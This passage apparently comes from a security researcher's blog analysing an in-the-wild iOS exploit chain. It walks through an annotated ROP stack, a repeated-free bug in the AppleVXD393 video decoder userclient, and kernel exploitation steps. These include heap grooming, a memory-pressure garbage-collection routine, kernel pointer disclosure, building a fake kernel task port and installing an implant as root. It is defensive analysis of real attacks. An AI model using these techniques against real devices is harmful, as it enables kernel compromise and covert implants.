offset +000 here is the heapspray target address of 0x120808080:


This is an annotated version of the ROP stack which is used by the attackers.  +000 +010 longjmp +020 bootstrap_x0_gadget ... +058 longjmp_LR LOAD_ARGS_GADGET +060 longjmp_FP base+0xc0+0xd0 +068 longjmp_SP base+0xc0   ...   +0c0 | (longjmp points first sp to here)   ...   +140 | +c0+80 - LOAD_ARGS(X0): io_provider_class_string_ptr +148 | +c0+88 - LOAD_ARGS(X1): base+0x800(iokit_match_str)   ...   +190 | +c0+d0 - longjmp points first fp to here first LOAD_ARGS movs this in to sp; so loads second FP from here +198 | LOAD_ARGS(LR): IOServiceMatching+0x20 +1a0 | sp after LOAD_ARGS; at entry to IOServiceMatching+0x20   ...    +1c0 | IOServiceMatching epilogue FP +1c8 | IOServiceMatching epilogue LR: memory_write_gadget +1d0 | sp at memory_write_gadget: 0x10 below address of x1 to next call (base+0x278)  ...  +1f0 | memory_write_FP : base+2d0 +1f8 | memory_write_LR : LOAD_ARGS_GADGET +200 | sp after memory_write/entry to LOAD_ARGS ... +280 | LOAD_ARGS(X0) : 0 (kIOMasterPortDefault) +288 | LOAD_ARGS(X1) : written by earlier memory_write_gadget ... +2d0 | previous memory_write loaded fp to point here; now becomes SP; next FP +2d8 | LOAD_ARGS(LR) : IOServiceGetMatchingService+0x20 +2e0 | sp at entry to IOServiceGetMatchingService+0x20 ... +320 | epilogue load FP : 0 +328 | epilogue load LR : memory_write_gadget +330 | sp after IOServiceGetMatchingService; 0x10 below next X0 arg (base+3d0) ... +350 | memory_write_FP : base+430 +358 | memory_write_LR : LOAD_ARGS_GADGET +360 | sp after memory_write/at entry to LOAD_ARGS ... +3e0 | LOAD_ARGS(X0) : written by previous memory_write +3e8 | LOAD_ARGS(X1) : 0x103 (mach_task_self()) +3f0 | LOAD_ARGS(X2) : 1 (type) +3f8 | LOAD_ARGS(X3) : base+4e0 (connect out) ... +430 | memory_write made fp point here; load next fp from here (ignored?) +438 | LOAD_ARGS(LR) : IOServiceOpen+8 +440 | sp on entry to IOServiceOpen+8 ... +450 | fp from IOServiceOpen epilogue = base+530 +458 | lr from IOServiceOpen epilogue = LOAD_ARGS (no memory_write this time) +460 | sp on exit f


The local_ports[] array contains the addresses on the heapspray target pages of the exfil mach message's msgh_local_port fields. That's where the ROP writes 8 copies of the opened userclient port.

Those messages themselves are also on the heapspray page, with their msgh_remote_port fields filled in with the 8 guesses for the port-sprayed send rights.

After sending the trigger message the attackers listen for a message on the portset containing all the sprayed ports. If they receive a message with a msgh_id value of 0x1337 then the msgh_remote_port field (the reply port) contains a send right to the video decoding accelerator IOKit userclient which can't be accessed from inside the sandbox.

Video decoder accelerator repeated IOFree

The kernel bug is in the AppleVXD393 and D5500 userclients, which seem to be responsible for some sort of video decoding involving DRM and decryption.

I independently found this bug while reading through the symbol names in the iOS 12 beta 1 release (which Apple didn't strip symbols from), but by then it had already been fixed in stable builds. Of course, iOS kernels are normally stripped of symbols prior to release so it would have taken some reversing or fuzzing to find this otherwise.

The userclient has 9 external methods:

AppleVXD393UserClient::_CreateDecoder
AppleVXD393UserClient::_DestroyDecoder
AppleVXD393UserClient::_DecodeFrameFig
AppleVXD393UserClient::_MapPixelBuffer
AppleVXD393UserClient::_UnmapPixelBuffer
AppleVXD393UserClient::_DumpDecoderState
AppleVXD393UserClient::_SetCryptSession
AppleVXD393UserClient::_GetDeviceType
AppleVXD393UserClient::_SetCallback

Generally any IOKit userclient which has external methods with names that sound like they're involved in object lifetime management are suspicious. The lifetime of the userclient is handled implicitly by two things: it's relationship to its owning mach port (which will cause no-senders notifications to be sent when there are no more clients) and OSObject references, which will cause the destruction of the object when there are no more references.

Looking through the list of methods immediately the second one jumps out; what might happen if we destroy a decoder twice?

The relevant code in the DestroyDecoder implementation is here:

AppleVXD393UserClient::DestroyDecoder(__int64 this, __int64 a2, _WORD *out_buf) {
 ...
  char tmp_buf[0x68];
  // make a temporary copy of the structure at +0x270 in the UserClient object
  memmove(tmp_buf, (const void *)(this + 0x270), 0x68uLL);

  // pass that copy to ::DeallocateMemory
  err = AppleVXD393UserClient::DeallocateMemory(this, tmp_buf);
  if ( err ) {
    SMDLog("AppleVXD393UserClient::DestroyDecoder error deallocating input buffer ");
  }

  // if the flag at +0x2e5 is set; do the same thing for the structure at
  // +0x2F8
  if ( *(_BYTE *)(this + 0x2E5) )
  {
    bzero(tmp_buf, 0x68uLL);
    memmove(tmp_buf, (const void *)(this + 0x2F8), 0x68uLL);
    err = AppleVXD393UserClient::DeallocateMemory(this, tmp_buf);
    if ( err )
      SMDLog("AppleVXD393UserClient::DestroyDecoder error deallocating decrypt buffer ");
  }

  // then clear the flag for the second deallocate
  *(_BYTE *)(this + 0x2E5) = 0;

This could still all be fine, depending on what ::DeallocateMemory actually does:

kern_return_t
AppleVXD393UserClient::DeallocateMemory(__int64 this, __int64 tmp_buf)
{
  // reading this+0x290 for the first case
  VXD_desc = *(VXD_DEALLOC **)(tmp_buf + 0x20);
  if ( !VXD_desc )
    return 0LL;

  err = AppleVXD393::deallocateKernelMemory(*(_QWORD *)(this + 0xD8),
                                            *(_QWORD *)(tmp_buf + 0x20));

  // unlink the buffer descriptor from a doubly-linked list:
  prev = VXD_desc->prev;
  if ( prev )
    prev->next = VXD_desc->next;
  next = VXD_desc->next;
  if ( next )
    v7 = &next->prev;
  else
    v7 = (VXD_DEALLOC **)(this + 0x268); // head
  *v7 = prev;
  IOFree(VXD_desc, 0x38LL);
  return err;
}


__int64 __fastcall AppleVXD393::deallocateKernelMemory(__int64 this, VXD_DEALLOC *VXD_desc)
{
  __int64 err; // x19

  lck_mtx_lock(*(_QWORD *)(this + 0xD8));
  err = AppleVXD393::deallocateKernelMemoryInternal((AppleVXD393 *)this, VXD_desc);
  *(_DWORD *)(this + 0x2628) = 1;
  lck_mtx_unlock(*(_QWORD *)(this + 0xD8));
  return err;
}

AppleVXD393::deallocateKernelMemoryInternal(AppleVXD393 *this, VXD_DEALLOC *VXD_desc) {
  if ( !VXD_desc->iomemdesc ) {
    SMDLog("AppleVXD393::deallocateKernelMemory pKernelMemInfo->xfer NULL\n");
    return 0xE00002C2;
  }
...
}

In a slightly obfuscated way this is reading a pointer from the VXDUserClient object which points to a 0x38-byte structure which I've tried to recreate here:

0x38 byte struct structure {
// virtual method will be called if size_in_pages non-zero
+0  = IOMemoryDescriptor ptr
// virtual release method will be called if non-zero
+8  = another OS_object
+10 = unk
+18 = size_in_pages
+20 = maptype
+28 = prev_ptr
+30 = next_ptr
}

A pointer to such a structure gets passed to AppleVXD393::deallocateKernelMemory, which in turn calls AppleVXD393::deallocateKernelMemoryInternal. If the first member (which is supposed to be an IOMemoryDescriptor pointer) is NULL, then this will just return. Then in AppleVXD393UserClient::DeallocateMemory the structure will be unlinked from a doubly-linked list (with a notable lack of safe unlinking), before being free'd via IOFree.

Nothing ever clears out the pointer at +0x290 in the VXDUserClient, which is the pointer to this 0x38 byte structure. So if the external method is called multiple times the same pointer will be passed to ::deallocateKernelMemory and then IOFree each time. This is the vulnerability which the exploit targets.

Kernel Exploitation

Note that there are some restrictions on triggering the repeated free safely; specifically if the first pointer value isn't NULL and the size_in_pages field is non-zero, then a virtual method will be called on the IOMemoryDescriptor.

Also the entry will be unlinked from a list each time it's deallocated, so the prev and next pointers need to be set appropriately to survive that. (NULL is an appropriate, safe value.)

The attackers begin as usual by increasing the open file descriptor limit and creating 0x800 pipes. They also allocate 1024 early ports and an IOSurface. This time the IOSurface will be used as it was in iOS Exploit Chain 1 as a way to groom OSObjects.

They allocate four mach ports (receive one through four) then force a zone GC.

defeating mach_zone_force_gc removal mitigation

Apple completely removed the mach_zone_force_gc host port MIG method so there is now no direct way to immediately force a zone GC.

Zone GCs are still a required feature however; one just has to get a bit more creative. Zone GCs will still occur under memory pressure, so to cause a zone GC, just cause memory pressure. Here's how they do it:

#define ROUND_DOWN_NEAREST_1MB_BOUNDARY(val) ((val >> 20) << 20)

void force_GC()
{

  long page_size = sysconf(_SC_PAGESIZE);
  target_page_cnt = n_actually_free_pages();

  size_t fifty_mb = 1024*1024*50;

  size_t bytes_size = (target_page_cnt * page_size) + fifty_mb;
  bytes_size = ROUND_DOWN_NEAREST_1MB_BOUNDARY(bytes_target)

  char* base = mmap(0,
                    bytes_size,
                    PROT_READ | PROT_WRITE,
                    MAP_ANON | MAP_PRIVATE,
                    -1,
                    0);
  if (!base || base == -1) {
    return;
  }

  for (i = 0; i < bytes_size / page_size; ++i ) {
     // touch each page
    base[page_size * i] = i;
  }
  n_actually_free_pages();

  // wait for GC...
  sleep(1);

  // remove memory pressure
  munmap(base, bytes_target);
}


uint32_t n_actually_free_pages()
{
  struct vm_statistics64 stats = {0};
  mach_msg_number_t statsCnt = HOST_VM_INFO64_COUNT;

  host_statistics64(mach_host_self(),
                    HOST_VM_INFO64,
                    &stats,
                    &statsCnt);

  return (stats.free_count - stats.speculative_count);
}

This is significantly slower than the previous version, but does work. They will continue to use this method for the remaining chains.

Heap grooming

To the fourth port they send two kalloc_groomer messages using the familiar functions; one making 0x20000 kalloc(0x38) calls and one making 0x2000 4k kallocs. These are filling in any holes in the heap to ensure subsequent allocations from those zones are more likely to come from fresh pages.

They perform a mach port groom allocating 10240 before_ports, a target port then 5120 after_ports. This sets up a situation similar to the IOSurface exploit in iOS Exploit Chain 2, where they have a single target port in the middle of a large number of other port allocations all owned by the exploit process:


This diagram is similar to one from iOS exploit chain 2, which depicted a single ipc.ports zone chunk, with target_port near the middle, surrounded by ports from two other allocation groups; this time named before_ports and after_ports. The entire zone chunk contains ports only from those three groups.


They send the target port in an out-of-line ports descriptor to third port; stashing a reference there (meaning target_port now has a reference count of 2.) This is again similar to the technique used in the IOSurface exploit.

They call external method 0 on the userclient. This is CreateDecoder, which will cause the allocation of the 0x38 byte target buffer, storing the pointer in the userclient at +0x290.

They then call external method 1, DestroyDecoder. This kfree's the 0x38 byte structure which was just allocated, but doesn't NULL out the pointer to it in the userclient at +0x290.

They use the IOSurface property trick to deserialize an OSArray of 0x400 OSData objects, where each OSData object is a 0x38-byte buffer of zeros. It's attached to the IOSurfaceRootUserClient with the key "spray_56" (where 56 is 0x38 in decimal, the size of the target allocation.)


This diagram shows the memory pointed to by the dangling pointer at offset +0x290 in the AppleVXD939UserClient now points to a sprayed OSData backing buffer. That OSData object hangs off of an IOSurfaceRootUserClient object as a surface property, reachable with the key "spray_56".

The idea here is that one of those OSData object's backing buffers was allocated over the free'd 0x38-byte structure allocation which the UserClient still has a dangling pointer to. Since they set the contents to NULL, it will survive being destroyed by the userclient again, which is exactly what happens when they call DestroyDecoder a second time:

IOConnectCallStructMethod(
         userclient_connection,
         1LL, // AppleVXD393UserClient::DestroyDecoder
              // free one of the OSData objects
         IOConnect_struct_in_buf,
         struct_in_size,
         IOConnect_struct_out_buf,
         &struct_out_size);


This diagram shows that after the bug is triggered a second time both the AppleVXD393UserClient and OSData have dangling pointers to the same allocation in kalloc.64 (which is the zone from which 0x38 byte kalloc allocations come from).


At this point both the VXD393UserClient and the OSData object have dangling pointers to a free'd allocation. They reallocate the buffer for a second time, but this time with something different:

// send 7 ports; will result in a 0x38 byte kalloc alloc
bzero(ool_ports_desc, 28LL);
ool_ports_desc[1] = target_port;
send_a_mach_message_with_ool_ports_descs(
    second_receive,
    ool_ports_desc,
    7,
    0x190);

This time they're sending a mach message with 0x190 OOL_PORTS descriptors, each with 7 port names, all of which are MACH_PORT_NULL apart from the second one. As we saw in the IOSurface exploit, this will result in at 0x38 byte kalloc allocation (0x38 = 7*0x8) where the second qword is a pointer to target_port's struct ipc_port:


This diagram shows the memory pointed to by the two dangling pointers being reallocated as a 0x38 byte out-of-line ports descriptor; with the second port being a send right to target_port. All the other ports in the descriptor are NULL.


pointer disclosure

Hopefully one of those 0x190 out-of-line ports descriptors overlapped both the OSData backing buffer and the VXD393UserClient 0x38-byte structure buffer.

Now they read the contents of all the OSData buffers via the IOSurface read property method and look for a kernel pointer (remember, the contents of all of the OSData buffers were originally all zeros):

iosurface_get_property_wrapper(spray_56_str,
                               big_buffer,
                               &buffer_size_in_out);
found_at = memmem(big_buffer, buffer_size_in_out, "\xFF\xFF\xFF", 3);

The "\xFF\xFF\xFF" signature will match the upper three bytes of a kernel pointer. The only kernel pointer which will have been serialized is the address of target_port, meaning they've successfully disclosed the kernel address of the target port.

Repeated free to extra port reference drop

They trigger the bug for a third time, leaving themselves with three dangling pointers: one in the userclient, one in an OSData object, and one in an out-of-line ports descriptor port pointer buffer in an in-transit mach message.

Note that it's still safe to trigger the bug as only the second qword is non-zero. The first pointer (an IOMemoryDescriptor*) is still NULL, so AppleVXD393::deallocateKernelMemoryInternal will return early, the list unlinking will succeed because both the prev and next pointers are NULL.

Third replacement

They serialize another array of OSData objects. This time they place two copies of the disclosed target port kernel address in the buffer before attaching them to the IOSurfaceUserClient again:

os_data_spray_buf_ptr[0] = target_port_kaddr;
os_data_spray_buf_ptr[1] = target_port_kaddr;

serialize_array_of_data_buffers(&another_vec, os_data_spray_buf, 0x38u, 800);

What's going on there?

As we've seen in previous chains, each port pointer in an in-transit out-of-line ports descriptor holds a reference; you can see the logic for this in ipc_kmsg_copyin_ool_ports_descriptor in ipc_kmsg.c in the XNU source.

The "real" out-of-line ports descriptor buffer for the message which was sent only had one pointer to a port; so it only took one reference on the port. But they've now doubled-up that pointer; the descriptor buffer has two copies of it, but it only took one extra reference.

When the descriptor buffer is destroyed (for example, when the port to which it was sent is destroyed without the message being received) the kernel will iterate through each pointer in the descriptor and if it isn't NULL, it will drop a reference:

ipc_kmsg_clean_body(...
...
  case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
    ipc_object_t* objects;
    mach_msg_type_number_t j;
    mach_msg_ool_ports_descriptor_t* dsc;
                
    dsc = (mach_msg_ool_ports_descriptor_t*)&saddr->ool_ports;
    objects = (ipc_object_t *) dsc->address;
                
    if (dsc->count == 0) {
      break;
    }
             
    /* destroy port rights carried in the message */
                
    for (j = 0; j < dsc->count; j++) {
      ipc_object_t object = objects[j];
                    
      if (!IO_VALID(object))
        continue;
      
      // drop a reference
      ipc_object_destroy(object, dsc->disposition);
    }
                
    /* destroy memory carried in the message */
    kfree(dsc->address, (vm_size_t) dsc->count * sizeof(mach_port_t));

That's exactly what happens next when they destroy the port to which the OOL_PORTS descriptors were sent:

  mach_port_destroy(mach_task_self(), second_receive);

This has the effect of dropping an extra reference on target_port, in this case leaving two pointers to target_port (one in the task's port name space table, one in the out-of-line ports descriptor sent to third_receive) but only one reference.

They've now recreated the same situation they had in the IOSurface exploit: about to give themselves a dangling mach port pointer, but from a quite different initial primitive. In that case the bug itself directly gave them a dangling pointer to a mach port structure; here they've recreated that same primitive starting from a repeated-free bug in a different zone; something quite different.

We'll now see that the rest of the code matches up very closely with the IOSurface exploit. This is an example of marginal costs; the cost to develop each additional exploit chain is lower than the cost for the first one. Many parts can be reused; mitigations must only be defeated once upon introduction (or new techniques developed if the mitigation was not in a critical path.)

Joining the chains

The code from this point is almost completely copy-pasted from the IOSurface exploit.

They destroy the before_ports, third_receive (causing target_port to be freed) then after_ports and perform a GC with the new method. At this point, target_port is dangling, and the zone chunk it's in is ready to be reallocated by a different zone.

They attempt to replace with small out-of-line memory regions which will correspond to kalloc.4096 allocations, overlapping the ip_context field with a marker containing the loop iteration.

Each time through the loop they check whether the context field changed, meaning the ipc_port buffer was reallocated as the out-of-line memory descriptor backing buffer. They free the particular port to which the correct descriptor was sent, and try to reallocate with 0x800 pipe buffers, each filled with fake ports with a context value set to identify which fd the maps to.

Once this is identified they build a fake IKOT_CLOCK port and brute force the KASLR slide, then using the offsets they build their initial fake task port for a read.

They use a more optimized approach to build a fake kernel task this time; given the offset to the kernel_task pointer they use the bootstrap read to get a pointer to the kernel task, from which they read a pointer to the kernel task port and a pointer to the kernel's vm_map.

From the kernel task port they read the field at offset +0x60, which is the port's space, in this case itk_space_kernel.

This is all that's required to build a fake kernel task port and fake kernel task in the pipe buffer, giving them kernel memory read and write.

Post-exploitation

The post exploitation phase remains the same; patching the platform policy to allow execution from /tmp, adding the implant's CDHash to the kernel trust cache, replacing credentials to temporarily escape the sandbox and posix_spawn the implant as root, then switching back to the original credentials.

They place the string iop114 in the bootargs, which we saw that they read right at the start of the privilege escalation exploit to determine whether the exploit successfully ran already.

Appendix A

List of unused but resolved symbols

asl_log_message
sel_registerName
CFArrayCreateMutable
CFDataCreate
CFArrayAppendValue
CFDictionaryCreate
CFDictionaryAddValue
CFStringCreateWithFormat
CFRelease
CFDataGetBytePtr
CFDataGetLength
bootstrap_look_up2
stat
usleep
open
CFWriteStreamCreateWithFTPURL
CFWriteStreamOpen
CFWriteStreamWrite
CFWriteStreamClose
unlink
sprintf
strcat
copyfile
removefile
task_suspend
task_name_for_pid
mach_port_mod_refs
pthread_create
pthread_join
_IOHIDCreateBinaryData
io_hideventsystem_open
mlock
mig_get_reply_port
mach_vm_read_overwrite
mach_ports_lookup
vm_allocate
mach_port_kobject
IOMasterPort
kCFTypeArrayCallBacks

There's some interesting stuff in here. It's of course impossible to know definitively if these were left over from development, or actually used in early exploits using this second framework. But the following two chains (iOS Exploit Chains 4 and 5) use this same symbol list, adding only the symbols they require.

The following symbols seem interesting; it's possible that these symbols were also used in ROP stacks in sandbox escapes as well.

mlock
mlock points to two possible things; it's been used in the past to ensure userspace pages don't get swapped while triggering a userspace dereference. mlock has also been involved in codesigning bypasses, potentially it was used in a ROP chain to bootstrap shellcode execution.

mach_port_kobject
This kernel MIG method is discussed at length in Stefen Esser's blog post mach_port_kobject() and the kernel address obfuscation. Until iOS 6 it would return the ip_kobject field of the provided mach port. In iOS 6 some obfuscation was added to the returned pointer but as Stefen pointed out it was easy to break.

io_hideventsystem_open
There have been many bugs in HID drivers and also in the hideventsystem service itself. See https://bugs.chromium.org/p/project-zero/issues/detail?id=1624 for an exploit. Potentially this is related to IOHIDCreateBinaryData which they also import.

No comments:

Post a Comment